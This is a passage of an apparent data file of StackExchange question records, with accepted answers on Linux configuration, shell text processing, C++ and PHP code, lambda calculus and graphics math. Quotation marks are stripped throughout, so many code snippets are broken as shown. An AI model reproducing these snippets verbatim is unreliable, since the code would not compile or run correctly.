load for iwlwifi-7265D-17.ucode failed with error -2"  , "title": "Loading wifi drivers on a Lenovo laptop debian 8"  , "tags": "debian;networking;network interface;iwlwifi"  , "accepted_answer": "Fixed by installing firmware:root@server:~# apt-get install -t jessie-backports firmware-iwlwifi"  } 
{  "id": "_webapps.70329"  , "question": "I've noticed that recently when I enter a letter into the search bar, the first person that comes up isn't a friend of mine, but the rest are. Does anyone know why this person comes up first?"  , "title": "Result starts with someone who is not a friend in Facebook search"  , "tags": "facebook;search"  } 
{  "id": "_softwareengineering.100956"  , "question": "I am thinking of developing customized software for desktops in Visual FoxPro 9 and want to know what type of licensing is required.As a developer, would I need to have a Visual FoxPro 9 license and would my users need to have the End User License? What type of licenses would be needed for commercial release? How would the licensing change if I released this as freeware?"  , "title": "What kind of licensing is required for Visual FoxPro?"  , "tags": "licensing;eula"  } 
{  "id": "_codereview.121206"  , "question": "I needed to create a mortgage calculator for an intro to CS class. As part of the assignment, with an interest rate of 6% needs to change to 7% after 3 years hence that if statement. The char dummy line at the end is a requirement from my professor.I'm mainly looking for ways to clean it up or if I missed anything. I'm required to use namespace std, and I know a lot of you don't care for it.#include <iostream>using namespace std;int main(){    double monthlyPayment;    double balance;    double interestRate;    double interestPaid;    double initialBalance;    double termOfLoan;    double month = 1;    cout.setf(ios::fixed);      cout.setf(ios::showpoint);    cout.precision(2);    cout << Enter the current balance of your loan: $;    cin >> balance;    cout << Enter the initial yearly interest rate : ;    cin >> interestRate;    cout << Enter the desired monthly payment : $;    cin >> monthlyPayment;    initialBalance = balance;    while (interestRate >= 1)       /*Converts the interest rate to a decimal if the user inputs                                                       in percentage form*/    {         interestRate = interestRate / 100;     }    if(month >= 36);    {         if(interestRate=.06)        {            interestRate=.07;        }    }    balance = balance * (1 + interestRate / 12) - monthlyPayment;    cout << After month 1 your balance is $ << balance << endl;    while (balance > 0)    {        if (balance < monthlyPayment)        {            balance = balance - balance;        }           else         {            balance = balance * (1 + interestRate / 12) - monthlyPayment;        }        month = month++;        month = month + 1;        month += 1;             cout << After month  << month << , your balance is : $ << balance << endl;        }        cout << You have paid off the loan at this point. Congratulations! << endl;        termOfLoan = month;interestPaid = (monthlyPayment * termOfLoan) - initialBalance;      /*I believe the formula above would work if only there was a way to calculate how many months it took to pay off the loan, but since it varies, I don't know how to calculate termOfLoan. */            cout << You paid a total ammount of $ << interestPaid <<  in intrest. << endl;            cout << Total number of months =  << month << . << endl;char dummy;cout << Enter any key to quit. << endl;cin >> dummy;}"  , "title": "Mortgage calculator for homework"  , "tags": "c++;homework;finance"  , "accepted_answer": "You use double values for calculations. Especially for money, I would suggest to switch to int and handle it in cents. That way you can avoid problems with floating point precision.You don't check if cin>> fails or succeeds. If the user doesn't enter a number you may have a problem here. A possible solution might be to let the user reenter the value as long as it isn't correct.do{    cout << Enter the current balance of your loan: $;}while (!(cin >> balance));You have a wrong check in the line if (interestRate = .06). You probably meant if (interestRate == .06). Additionally, this check might also be a problem as you do some calculations on interestRate that may cause inprecision (again floating point precision problem).As you obviously await the user to input the value as int your check should be against 6 before you divide the value with 100.You have this piece of code:if (balance < monthlyPayment){    balance = balance - balance;}Which is the same as:if (balance < monthlyPayment){    balance = 0;}I think the second version is easier to understand.I didn't check any more of the code yet. I especially didn't prove it for correctness in you calculations."  } 
{  "id": "_unix.180871"  , "question": "I've got an Arch linux and every time I start the system it opens applications, that I don't want to be opened. It starts me Ark, Mozilla firefox and the folder download. Why does this happen? How to repair it?"  , "title": "Applications that start with a system"  , "tags": "arch linux;kde"  } 
{  "id": "_cstheory.9787"  , "question": "Normal Order Reduction (NOR)reduce the leftmost, outermost redex.Normal Order Evaluation (NOE)reduce the leftmost, outermost redex, but not within the body of abstractions.So (w. (x.x) z) is in normal form under NOE, but not under NOR.Does using NOE instead of NOR weaken the Normalization property?The Normalization property states that if there is a normal form under beta-reduction, that NOR will find it.Edit:Sorry, it's the Curry/Feys Theorem that says that NOR always finds a normal form if it exists."  , "title": "Does using Normal Order Evaluation instead of Normal Order Reduction lose the Normalization theorem?"  , "tags": "lo.logic;pl.programming languages;lambda calculus"  , "accepted_answer": "NOE reduction strategy (as you define it) won't find the $\\beta$-normal form of a term. For example, the normal form of $\\lambda x.((\\lambda y.y)x)$ is $\\lambda x.x$but NOE won't find it, because it won't reduce the inner redex $(\\lambda y.y)x$ which is under the outer $\\lambda$-abstraction. So it's not a normalizing reduction strategy.However, in a typed functional language with data types like Int, if you know that some expression is of such a type, you know that it cannot be a function, so it's enough to restrict reductions to so-called Weak Head Normal Form (which is close to NOE), and it simplifies many things. See also:http://www.haskell.org/haskellwiki/Weak_head_normal_formhttps://en.wikibooks.org/wiki/Haskell/Graph_reduction#Weak_Head_Normal_Formhttps://stackoverflow.com/questions/6872898/haskell-what-is-weak-head-normal-form"  } 
{  "id": "_unix.234448"  , "question": "We have two completely different computers with Mint 17.2, one server Xeon with ECC memory and the other is laptop i7 with normal memory. Both have 8GB of RAM with default swap.Both are used to play a CPU demanding Flash Player game (50% of CPU) in latest Chrome (not Chromium) with latest integrated Flash Player.Both have the recommended kernel installed::~ > uname -r3.16.0-38-genericThe problem is, they both freeze almost every day, with inability to switch to the console using Ctrl+Alt+F1, so I don't even know what happened.Please help."  , "title": "Inability to switch to the console using Ctrl+Alt+F1 when Mint freezes"  , "tags": "linux;linux mint;freeze"  , "accepted_answer": "Since you have a couple of computers you can access from one computer to the other (if the system is still running and network) using ssh for instance, that way you may be able to check what happened and kill the process/es you need."  } 
{  "id": "_unix.58251"  , "question": "After following several tutorials on setting up postfix at basic level on CentOs for my VPS, continue to get the following:-bash-4.1# postfix start/usr/libexec/postfix/postfix-script: line 317: cmp: command not foundpostfix/postfix-script: warning: /usr/lib/sendmail and /usr/sbin/sendmail differpostfix/postfix-script: warning: Replace one by a symbolic link to the otherpostfix/postfix-script: starting the Postfix mail systemIn the main.cf below are my edits:myhostname = myservername.sub.mysite.netmydomain = sub.mysite.netmyorigin = $myhostnamemyorigin = $mydomain inet_interfaces = allinet_interfaces = $myhostnameinet_interfaces = localhostmydestination = $myhostname, localhost.$mydomain, localhostmynetworks = 192.168.0.0/16, 127.0.0.0/8Also removed sendmail but haven't yet set up db, just trying to get postfix to start without errors. Is this the problem? why are two files in red?"  , "title": "how to solve postfix errors?"  , "tags": "centos;postfix"  , "accepted_answer": "You're probably lacking the diffutils package, which will provide the cmp binary that postfix needs for its sanity checks. sudo yum install diffutilsshould help you on."  } 
{  "id": "_unix.166050"  , "question": "What I am trying to do is route all traffic that comes on a given interface to a specific, per interface, VPN connection where all outbound traffic is actually leaving on WAN0.I frankly don't have a notion where to start. I was thinking a VLAN per interface where there is only one route out of that VLAN and that's over the VPN connection. But then I tried to think how I could manage 4 desperate VPN connections and I got lost.SOeth0 -> VPN1 eth1 -> VPN2 eth2 -> VPN3 eth3 -> VPN4VPN{1,2,3,4} -> WAN0"  , "title": "how to binding each each interface to a seperate VPN config"  , "tags": "linux;routing;vpn"  } 
{  "id": "_unix.181784"  , "question": "Moving multiple folders from one subversion repository to another subversion repositoryI've a centOS 6.4 server and with subversion 1.4.2 installed.I've two subversion repositories in my server.I've been using 'repoOLD' for the past two 4 months and now I've created another repo with name 'repoNEW''repoOLD' contains 100 folders (projects).'repoNEW' is just created and I need to copy few projects from 'repoOLD' to 'repoNEW'Now the problem is how can I transfer multiple folders(projects) from my 'repoOLD' to 'repoNEW'I've tried googling but I was unable to find tutorials for moving multiple folders from one subversion repository to another repository"  , "title": "Move multiple folders from one subversion repository to another subversion repository"  , "tags": "repository;subversion"  } 
{  "id": "_unix.286301"  , "question": "I'm writing a program in python that needs to edit some files in /etc.  Some system some its own.  How do I get those permissions from within the program itself without running sudo as the program will be non-interactive?Not sure yet where I'm going to autostart my program but I will likely use monit or similar for that purpose. "  , "title": "How do non-interactive programs get the permission to edit files in /etc"  , "tags": "linux;python;monit"  } 
{  "id": "_webmaster.53711"  , "question": "Actually I don not know where I have to ask this question. Asking hereIf a website have a ranking 1000 in alexa how much people click or hit the server?I need to establish a server. We are aiming to get such traffic. Can anybody share me some suggestion?"  , "title": "Need to get Alexa ranking meaning"  , "tags": "server"  } 
{  "id": "_hardwarecs.291"  , "question": "I am on a headset for work several hours each day. I also listen to music extensively at work.I currently listen to Sennheiser HD 380  headphones. My headset is pretty low quality comparatively.What I would like is a good quality headset which has comparable sound quality and comfort.My criteria:Sound quality comparable to my current Sennheiser headphonesPreferably over-ear entirely (for ambient noise reduction)USB connection (acceptable to have 3.5mm audio input, too)"  , "title": "USB headset with good headphone quality and comfort?"  , "tags": "usb;headset;audio quality"  } 
{  "id": "_unix.226401"  , "question": "I used:gsettings set org.gnome.desktop.wm.keybindings switch-applications []gsettings set org.gnome.desktop.wm.keybindings close []to disable Alt+Tab and to disable Alt+F4 respectively.In Ubuntu 14.04: Alt+F4 worked, Alt+Tab failed (meaning the gsettings succeeded but the short-cut is still active)In Debian 8: Both Alt+F4 and Alt+Tab failedHow can I solve this problem? (Or is there  another way to disable short-cuts through the command line?)"  , "title": "Failed to disable shortcut on ubuntu14.04 and debian8"  , "tags": "debian;ubuntu;gnome;keyboard shortcuts"  , "accepted_answer": "You used the same key binding to try to do different things: the correct ones are:gsettings set org.gnome.desktop.wm.keybindings switch-applications []gsettings set org.gnome.desktop.wm.keybindings close []If you did that already, try setting then to something ridiculously complex like  ['Above_Tab'] that you will never type by accident, as your goal is to not type it accidentally..."  } 
{  "id": "_unix.275474"  , "question": "Situation:When I turn on my Linux Mint 17.3 / 18 Cinnamon the NumLock is Off in the Login window.Objective:Turn on NumLock automatically at startup."  , "title": "Turn on NumLock on startup in Linux Mint"  , "tags": "linux mint;login;keyboard;numlock"  , "accepted_answer": "First, you need to install a program needed for this purpose - numlockx; man page:sudo apt-get install numlockxThen, choose if you wish to achieve the goal through CLI or GUI below.GUI; probably most convenient under normal operation:Once numlockx is installed, the following menu item in Login Window -> Options called:Enable NumLockbecomes available; as you can see:As pointed out in the other answer, this will add the following line to /etc/mdm/mdm.conf:EnableNumLock=trueCLI; suitable if you are setting other computers up through SSH, for instance:Open a text editor you are skilled in with this file, e.g. nano if unsure:sudo nano /etc/mdm/Init/DefaultAdd these lines at the beginning of the file:if [ -x /usr/bin/numlockx ]; then    /usr/bin/numlockx onfiAs pointed out by Gilles, don't put exec in front of the command."  } 
{  "id": "_softwareengineering.302421"  , "question": "I fooled around with for-loops, remembered the with keyword from delphi and came up with following pattern (defined as a live template in IntelliJ IDEA):for ($TYPE$ $VAR$ = $VALUE$; $VAR$ != null; $VAR$ = null) {    $END$}Should I use it in productive code? I think it might be handy for creating temporary shortcut variables like these one-character variables in lamdas and couting for loops. Plus, it checks if the variable you are going to use in the block is null first. Consider following case in a swing application:// init `+1` buttonfor (JButton b = new JButton(+1); b != null; add(b), b = null) {    b.setForeground(Color.WHITE);    b.setBackground(Color.BLACK);    b.setBorder(BorderFactory.createRaisedBevelBorder());    // ...    b.addActionListener(e -> {        switch (JOptionPane.showConfirmDialog(null, Are you sure voting +1?)) {            case JOptionPane.OK_OPTION:                // ...                break;            default:                // ...                break;        }    });}"  , "title": "Is using for loop syntax for a with(variable) block an anti-pattern?"  , "tags": "java;anti patterns;loops"  , "accepted_answer": "It's not an anti-pattern, because that would mean it is a commonly used technique that's problematic somehow. This code fails to meet the commonly used criterion.However, it is problematic. Here are some of its problems:Misleading: it uses a loop structure, but never executes more than once.Hiding a check: the != null check is easy to miss where it is placed. Hidden code is harder to understand. It's also not clear whether the condition is actually necessary or just there to terminate the loop after the first iteration. (Your statements about the check indicate that you have situations where it's necessary, whereas in your example it's not, as new never returns null.)Hiding an action: the add(b) statement is hidden even better. It's not even sequentially at the position where you'd expect it.Unnecessary: You can just declare a local variable. If you don't want its name to be visible, you can use a block statement to limit its scope, although that would be an anti-pattern (or at least a code smell), indicating that you should extract a function."  } 
{  "id": "_unix.278865"  , "question": "I have a FILE consisting of lines like the following:URL=http://someURL]somefilenameI need to download the URL link if somefilename isn't already there.I wanted to use shell command like:for i in $(cat FILE); do if [ ! -f somefilename] somecode; donebut I don't know what to use for somecode. Any ideas?edit:To address terdon questions:Yes there is only one ] per line, the one after someURLand yes the filename is the whole string after ] to the end of the line."  , "title": "Extracting several strings in a regexp"  , "tags": "shell"  , "accepted_answer": "Here's a pure shell approach:while IFS='=]' read a url file; do     [ -f $file ] || echo wget $url]$filedone < fileThis will iterate over the file, splitting each line on either = or ] and reading each resulting fields into the variables a (the string URL), $url (the url until the file name) and $file (the file name). Then, if the $file doesn't exist in the current directory (so [ -f $file ] returns false), it will download it. "  } 
{  "id": "_unix.106047"  , "question": "I have a csv file formatted as below.col1,col2,col3,col41,text1,<p>big      html     text</p>,4th column2,text2,<p>big2      html2     text2</p>,4th column2I want to extract the 4th column using.  I think that awk is the best tool for this ( let me know if I am wrong). I tried this awk -F, '{print $4}' myFile.csv but it fails.  I think because the 3rd column is multiline one. How can I use awk or any other unix command to extract the 4th column. I am looking for an efficient solution since my real file is big (> 2GB)"  , "title": "extract the 4th column from a csv file using unix command"  , "tags": "text processing;awk;perl;csv"  , "accepted_answer": "UPDATE:Actually, a much easier way is to set the record separator in gawk:$ gawk 'BEGIN{RS=\\\\n; FS=,}{print $4}' myFile.csvcol44th column4th column2However, this will remove the trailing  from the end of each column. To fix that you can print it yourself:$ gawk 'BEGIN{RS=\\\\n; FS=,}{print $4\\}' myFile.csvcol44th column4th column2If you don't want the quotes at all, you can set the field separator to ,:$ gawk 'BEGIN{RS=\\\\n; FS=\\,\\}{print $3}' myFile.csvcol34th column4th column2The only way I can think of One way of doing this is to first modify the file and then parse it. In your example, the newline that actually separates two records is always following a :col1,col2,col3,col4   <-- here 1,text1,<p>big             <-- no If that is the case for the entire file, you can replace all newlines that are not immediately after a  with a placeholder and so have everything in a single line. You can then parse normally with gawk and finally replace the placeholder with the newline again. I will use the string &%& as a placeholder since it is unlikely to exist in your file:$ perl -pe 's/\\s*\\n/&%&/; s/\\n//g; s/&%&/\\n/;' myFile.csv | awk -F, '{print $4}'col44th column4th column2The -p flag for perl means print each line of the input file after applying the script given by -e. Then there are 3 substitution (s/foo/bar/) commands:s/\\s*\\n/&%&/ : This will find any  which is followed by 0 or more whitespace characters (\\s*) and then a newline character (\\n). It will replace that with &%&. The quotes are added to preserve the format and the &%& is just a random placeholder, it could be anything that does not appear in your file. s/\\n//g; : since the real newlines have been replaced with the placeholder, we can now safely remove all remaining newlines in this record. This means that all lines of the current record have now been concatenated into the current line.s/&%&/\\n/ : This turns the placeholder back into a normal new line.To understand the output of the command run it without gawk:$ perl -pe 's/\\s*\\n/&%&/; s/\\n//g; s/&%&/\\n/;' myFile.csv col1,col2,col3,col41,text1,<p>big      html     text</p>,4th column2,text2,<p>big2      html2     text2</p>,4th column2So, you now have your long records on single lines and this is perfect food for gawk. You can also do it directly in Perl:perl -ne '$/=\\\\n; chomp;@a=split(/,/);print $a[3]\\\\n' myFile.csvcol44th column4th column2This is using a bit more Perl magic. The $/special variable is the input record separator. By setting it to \\n we tell Perl to split lines not at \\n but only at \\n so that each record will be treated as a single line. Once that is done, chomp removes the newline from the end of the line (for printing later) and split splits each record (on ,) and saves it in the array @a. Finally, we print the 4th element of the array (arrays are numbered from 0 so that is $a[3]) which is the 4th column.And even more magic, turn on auto spitting (-a) and split on commas (F,). This will split each record into the special @F array and you can print the 4th element of the array:$ perl -F, -ane '$/=\\\\n;chomp;print $F[3]' myFile.csvcol44th column4th column2"  } 
{  "id": "_softwareengineering.327828"  , "question": "We have a large legacy Java-based project, the availability of certain features throughout the application is determined by its corresponding value in a feature_enabled table in a SQL database. Much like Windows enables features based on Registry values. Lately, we have been working to significantly reduce the number of SQL queries made in a specific part of the app. So we wrote a caching class that calls the query once and caches the results. Unfortunately, we can't rewrite the entire functions as other parts of the app are dependent on it. So, when our team calls the function (which executes the SQL query), we supply the entire class with the cached table property. The function then simply checks if the property has been set. If so, then uses the data from there, otherwise runs a fresh query.Problem is we would like to add this caching technique as a feature which can be enabled like others. Querying the DB every time the cached db is called to see if the feature is enabled would undo whatever query saving we are doing. So my question is what is a good pattern of design to accomplish this?"  , "title": "How should I query the DB for a specific key without querying every time the feature is called?"  , "tags": "sql;query"  } 
{  "id": "_webapps.95166"  , "question": "I log into Facebook and it is in Spanish or some language I don't recognize.  How do I correct this?  "  , "title": "Language suddenly changed to something besides English"  , "tags": "facebook"  } 
{  "id": "_codereview.21334"  , "question": "Im currently working on a system that will communicate with other systems via webservice (or some sort of communication). I have a system that stores all user data already and don't want to duplicate data in this new system so I have come up with a way of accessing the data when needed. In my current system I am planning to just store the user ID from the user system and fetch the data when required. My question is, is the following code considered acceptable/understood or would you suggest an alternative way of achieving this?public class Person{    private string id;    [Transient]    private string name;    [Transient]    private bool isPopulated;    public Person(string id){       this.id = id;    }    public string Id{get;set;}    public string Name{        get{            init();            return this.name;        }        set{            this.name = value;        }    }    private void init(){        if(!isPopulated){            TempPerson tempPerson = UserService.getPerson(this.id);            this.name = tempPerson.Name;            this.isPopulated = true;        }    }}Is there a better way to do this and are there any problem with this way?"  , "title": "Populating a class whose data is stored in an external application"  , "tags": "c#;design patterns"  , "accepted_answer": "What you have implemented is a sort of Active Record where the record itself knows how to communicate with the storage. What is bad about your design is that this kind of code will be extremely hard to unit test. Imagine that you need to write a unit test for a class that uses Person objects. How can you prevent it from calling UserService?The proper solution for your problem depends on use cases. Will you need to update your entities and propagate those changes back to server? Can you load several entities at once using methods other than UserService.getPerson(this.id);?What is the lifetime of the entities loaded?Generally the most flexible solution (as I see it) would be to implement a repository and unit-of-work pattern (similar to ISession in NHibernate or DbContext in Entity Framework). Basically it's better not to hide communication with 3rd-party but rather expose it in such a way that you have maximum control and flexibility.Primitive implementation may look like:public class Person{    public string Id { get; set; }    public string Name { get; set; }}public interface ISessionFactory{    IUserServiceSession CreateSession();}public interface IUserServiceSession{    Person GetPerson(string id);}public class SessionFactory : ISessionFactory{    public IUserServiceSession CreateSession()    {        UserService userService = new UserService(); //better use dependency injection, or cache it once if it's thread-safe.        return new UserServiceSession(userService);    }}public class UserServiceSession : IUserServiceSession{    private readonly Dictionary<string, Person> _cache = new Dictionary<string, Person>();    private readonly UserService _userService;    public UserServiceSession(UserService userService)    {        _userService = userService;    }    public Person GetPerson(string id)    {        Person result;        if (!_cache.TryGetValue(id, out result))            result = _cache[id] = _userService.getPerson(id);        return result;    }}"  } 
{  "id": "_unix.214956"  , "question": "I want to have my super key start dmenu.I have set it as a keyboard shortcut in my rc.xml as follows:<keybind key=0xffeb>      <action name=Execute>        <command>dmenu_run</command>      </action></keybind>I tried specifying it in the key attribute as W, W-, and 0xffeb, but none of these worked.W responds to pressing the letter w, and the others appear to do nothing.I want the shortcut to trigger when the super key is pressed and released on it's own. Is this possible?This is cross posted from super user as per the guidelines here. I've read this question: Super key as shortcut - Openbox, but I didn't see any useful information in it."  , "title": "How to set a single modifier key as a shortcut in openbox?"  , "tags": "keyboard shortcuts;desktop environment;openbox"  , "accepted_answer": "I ended up using xcape, a utility designed to do exactly this:xcape allows you to use a modifier key as another key when pressed and released on its own. Note that it is slightly slower than pressing the original key, because the pressed event does not occur until the key is released. Quoted from the xcape readmeUsing xcape, you can assign the press and release of a modifier key to a different key or even a sequence of keys. For example, you can assign  Super to a placeholder shortcut like ⎈ Ctrl⇧ Shift⎇ Alt SuperD with:xcape -e 'Super_L=Control_L|Shift_L|Alt_L|Super_L|D'Now when you press and release  Super without pressing any other keys, xcape will send keyboard events simulating presses of ⎈ Ctrl⇧ Shift⎇ Alt SuperD (holding all the modifier keys down as if you pressed them like a shortcut).If you press  Super and another key (or hold  Super too long, the default timeout is 500 ms), xcape will pass the keyboard events through as is, without firing extra keys.If you put the placeholder shortcut in rc.xml, it will run when  Super and only  Super is pressed. <keybind key=C-A-S-W-d>      <action name=Execute>          <command>dmenu_run</command>      </action></keybind>Other shortcuts involving  Super will not be affected.Note that you'll have to run xcape each time you boot, so you may want to put it somewhere like ~/.config/openbox/autostart where it will be run automatically."  } 
{  "id": "_unix.382878"  , "question": "I have been monitoring this server for a while, it consistently shows 100% util in iostat, even though nothing much looks like being read/written not in iostat, iotop or dstat. Here is the output from iostat. What could be a possible reason for this? Device:         rrqm/s   wrqm/s     r/s     w/s    rMB/s    wMB/s avgrq-sz avgqu-sz   await r_await w_await  svctm  %utilxvda              0.00     0.00    0.00    0.00     0.00     0.00     0.00     3.00    0.00    0.00    0.00   0.00 100.00OS : Ubuntu 14.04.3 LTS, Kernel 3.13Machine : AWS - t2.xlargeEdit :Output of top :top - 14:47:43 up 234 days, 41 min,  4 users,  load average: 0.17, 0.47, 0.39Tasks: 143 total,   1 running, 142 sleeping,   0 stopped,   0 zombie%Cpu(s):  5.4 us,  0.3 sy,  0.0 ni, 94.2 id,  0.0 wa,  0.0 hi,  0.0 si,  0.2 stKiB Mem:  16433184 total, 14287468 used,  2145716 free,   268984 buffersKiB Swap:        0 total,        0 used,        0 free.  5704204 cached Mem"  , "title": "Iostat showing 100% utilization even though not much is being read/written"  , "tags": "ubuntu;iostat"  } 
{  "id": "_cs.29100"  , "question": "Is ```sii``sii the smallest Unlambda program that doesn't halt?In other words, what is the smallest non-terminating combinator term in SKI augmented with $C$ (call/cc) and $D$ (delay)? Is it $SII(SII)$?"  , "title": "Smallest non-halting unlambda program"  , "tags": "lambda calculus;halting problem;combinatory logic"  , "accepted_answer": "Intuitively speaking, a non-terminating program needs either:a combinator such as $Y$ which, when applied, reduces to a larger expression containing itself;or two combinators such as $S$ which, when applied, replicate at least one of their arguments: one to do the initial replication and one to be replicated.Unlambda lacks a combinator of the first type, but has two combinators of the second type: $S$ and $C$.In the SKI-calculus, following the intuition above, a non-terminating term needs to somehow apply $S$ with the first argument being $S$. So it would have to be of the form $Swx(Syz)$, i.e. ```swx``syz in Unlambda). This suggests that $SII(SII)$ is minimal. (Note that I've only given an intuition, I haven't proved it!)However Unlambda also includes c (call/cc), and this is a very powerful operator in terms of replicating its argument. A term of the form $Cfx$ applies its own continuation $\\phi$ to the function $f$; if $f \\phi$ itself arranges not to destroy its context, then the term won't terminate. For example, $CI(CI)$ is non-terminating (exercise: work it out). ``ci`ci is known as the Yin-Yang puzzle. To see it in action, make it print a trace of its execution: ``.@`ci`.*`ci.Because $S$ requires 3 arguments and $C$ requires 2, intuitively, there can't be a non-terminating 3-combinator term, so the 4-combinator term we found above is minimal.Here's a quick-and-dirty bash script that enumerates all possible Unlambda terms of up to 4 combinators (i.e. 3 application nodes) and prints out the ones that take more than 1 second to terminate. I omitted the I/O primitives which reduce like i, as well as e (exit) which obviously wouldn't help to make a program non-terminating. This is an experimental way to list the non-terminating terms the terms not printed here are guaranteed to be terminating (assuming a correct implementation), and the terms printed here are likely to be non-terminating.for a in s k i c d v; do  for b in s k i c d v; do    for c in s k i c d v; do      for d in s k i c d v; do        for p in @$a$b @@$a$b$c @$a@$b$c @@@$a$b$c$d @@$a@$b$c$d @@$a$b@$c$d @$a@@$b$c$d @$a@$b@$c$d; do          p=${p//\\@/\\`}              timeout 1 unlambda <<<$p || echo $p        done      done    done  donedoneThe result of the experiment is that only the following terms are potentially non-terminating:```scc?``c?`c?where each ? can be independently i, c or d. In other words, the non-terminating combinator terms are $SCCx$ and $Cx(Cy)$ (or so the experiment suggests, but it happens to be correct).Exercises:Work out the reductions for these terms and check that they are indeed non-terminating. Do they loop or do they grow forever?Prove that all smaller terms terminate. (I don't think there's anything more interesting than a long case enumeration.)How does $SCCI$ relate with my intuition above concerning the minimum content of a non-terminating term the $S$ replicates only $I$?Prove or disprove that there is no smaller non-terminating SKI term than $SII(SII)$. Are there others of the same size?"  } 
{  "id": "_computergraphics.1502"  , "question": "When rendering 3D scenes with transformations applied to the objects, normals have to be transformed with the transposed inverse of the model view matrix. So, with a normal $n$, modelViewMatrix $M$, the transformed normal $n'$ is $$n' = (M^{-1})^{T} \\cdot n $$When transforming the objects, it is clear that the normals need to be transformed accordingly. But why, mathematically, is this the corresponding transformation matrix?"  , "title": "Why is the transposed inverse of the model view matrix used to transform the normal vectors?"  , "tags": "transformations;geometry"  , "accepted_answer": "Here's a simple proof that the inverse transpose is required. Suppose we have a plane, defined by a plane equation $n \\cdot x + d = 0$, where $n$ is the normal. Now I want to transform this plane by some matrix $M$. In other words, I want to find a new plane equation $n' \\cdot Mx + d' = 0$ that is satisfied for exactly the same $x$ values that satisfy the previous plane equation.To do this, it suffices to set the two plane equations equal. (This gives up the ability to rescale the plane equations arbitrarily, but that's not important to the argument.) Then we can set $d' = d$ and subtract it out. What we have left is:$$n' \\cdot Mx = n \\cdot x$$I'll rewrite this with the dot products expressed in matrix notation (thinking of the vectors as 1-column matrices):$${n'}^T Mx = n^T x$$Now to satisfy this for all $x$, we must have:$${n'}^T M = n^T$$Now solving for $n'$ in terms of $n$,$$\\begin{aligned}{n'}^T &= n^T M^{-1} \\\\n' &= (n^T M^{-1})^T\\\\n' &= (M^{-1})^T n\\end{aligned}$$Presto! If points $x$ are transformed by a matrix $M$, then plane normals must transform by the inverse transpose of $M$ in order to preserve the plane equation.This is basically a property of the dot product. In order for the dot product to remain invariant when a transformation is applied, the two vectors being dotted have to transform in corresponding but different ways.Mathematically, this can be described by saying that the normal vector isn't an ordinary vector, but a thing called a covector (aka covariant vector, dual vector, or linear form). A covector is basically defined as a thing that can be dotted with a vector to produce an invariant scalar. In order to achieve that, it has to transform using the inverse transpose of whatever matrix is operating on ordinary vectors. This holds in any number of dimensions.Note that in 3D specifically, a bivector is similar to a covector. They're not quite the same since they have different units: a covector has units of inverse length while a bivector has units of length squared (area), so they behave differently under scaling. However, they do transform the same way with respect to their orientation, which is what matters for normals. We usually don't care about the magnitude of a normal (we always normalize them to unit length anyway), so we usually don't need to worry about the difference between a bivector and a covector."  } 
{  "id": "_unix.374514"  , "question": "This is my first time having a fancy UEFI PC. I partitioned all my drives in GPT using gdisk.installed Windows 10installing Debianat the end of the installation a dialogue box warned me that many EFI implementations are buggy and had I wanted to install GRUB on a removable media (didn't tell what that media was). I clicked yesGRUB didn't detect Windows 10rebooted my PCno GRUB. booted straight to Windows 10.When I picked the drive explicitly from the boot menu (pressing F12):it did boot into Debian, though I have to do this at every boot.is there a way to make GRUB detect Windows 10 and be the default bootloader like back in the good old days of MBR?"  , "title": "GRUB booting only when the drive is explicitly selected"  , "tags": "debian;boot;windows;dual boot;grub"  } 
{  "id": "_unix.91999"  , "question": "I am absolute beginner Linux user,  and I want to know simply how to install JDK ( java development kit ) and eclipse IDE in Linux mint 15 "  , "title": "How to install JDK and eclips in linux mint 15?"  , "tags": "linux mint"  } 
{  "id": "_unix.225729"  , "question": "I want to find the location of info file of the jcal program.It has appropriate info when I call info jcal. The output of info -w jcal is:*manpages*Did I do wrong way to get the full location of info file? What is thebest way to get the info file location?Dist: Slackware Current.jcal: 0.4.1info: 4.13"  , "title": "Where does info file exist"  , "tags": "info"  , "accepted_answer": "The command info looks for files at places defined in $INFOPATH variable (usually /usr/share/info/, etc), but if it doesn't find the appropriate file there, as a fallback it switches to the man pages for help (see $MANPATH variable) and prints exactly the same content as man. So if info -w shows *manpages* then try man -w to get the information you wanted."  } 
{  "id": "_webmaster.75747"  , "question": "I am very much a newbie in PHP. Could you tell me about basic looping in PHP if I want create a web design. Also, how do I connect to a MySQL database? "  , "title": "Basic looping on PHP for web design"  , "tags": "php;mysql"  , "accepted_answer": "LOOPINGThere are two methods to loop in PHP: for, and;foreachThe PHP for LoopThe for loop is used when you know in advance how many times the script should run.Syntaxfor (init counter; test counter; increment counter) {    code to be executed;}Parameters:init counter: Initialize the loop counter valuetest counter: Evaluated for each loop iteration. If it evaluates to TRUE, the loop continues. If it evaluates to FALSE, the loop ends.increment counter: Increases the loop counter valueThe example below displays the numbers from 0 to 10:Example<?php for ($x = 0; $x <= 10; $x++) {    echo The number is: $x <br>;} ?>The PHP foreach LoopThe foreach loop works only on arrays, and is used to loop through each key/value pair in an array.Syntaxforeach ($array as $value) {    code to be executed;}For every loop iteration, the value of the current array element is assigned to $value and the array pointer is moved by one, until it reaches the last array element.The following example demonstrates a loop that will output the values of the given array ($colors):Example<?php $colors = array(red, green, blue, yellow); foreach ($colors as $value) {    echo $value <br>;}?>Source: PHP 5 for LoopsSQL CONNECTIONOpen a Connection to MySQLBefore we can access data in the MySQL database, we need to be able to connect to the server:Example (MySQLi Object-Oriented)<?php$servername = localhost;$username = username;$password = password;// Create connection$conn = new mysqli($servername, $username, $password);// Check connectionif ($conn->connect_error) {    die(Connection failed:  . $conn->connect_error);} echo Connected successfully;?>A note on the object-oriented example above: $connect_error was broken until PHP 5.2.9 and 5.3.0. If you need to ensure compatibility with PHP versions prior to 5.2.9 and 5.3.0, use the following code instead:// Check connectionif (mysqli_connect_error()) {    die(Database connection failed:  . mysqli_connect_error());}Example (MySQLi Procedural)<?php$servername = localhost;$username = username;$password = password;// Create connection$conn = mysqli_connect($servername, $username, $password);// Check connectionif (!$conn) {    die(Connection failed:  . mysqli_connect_error());}echo Connected successfully;?>Close the ConnectionThe connection will be closed automatically when the script ends. To close the connection before, use the following:Example (MySQLi Object-Oriented)$conn->close();Example (MySQLi Procedural)mysqli_close($conn);Source: PHP Connect to MySQL"  } 
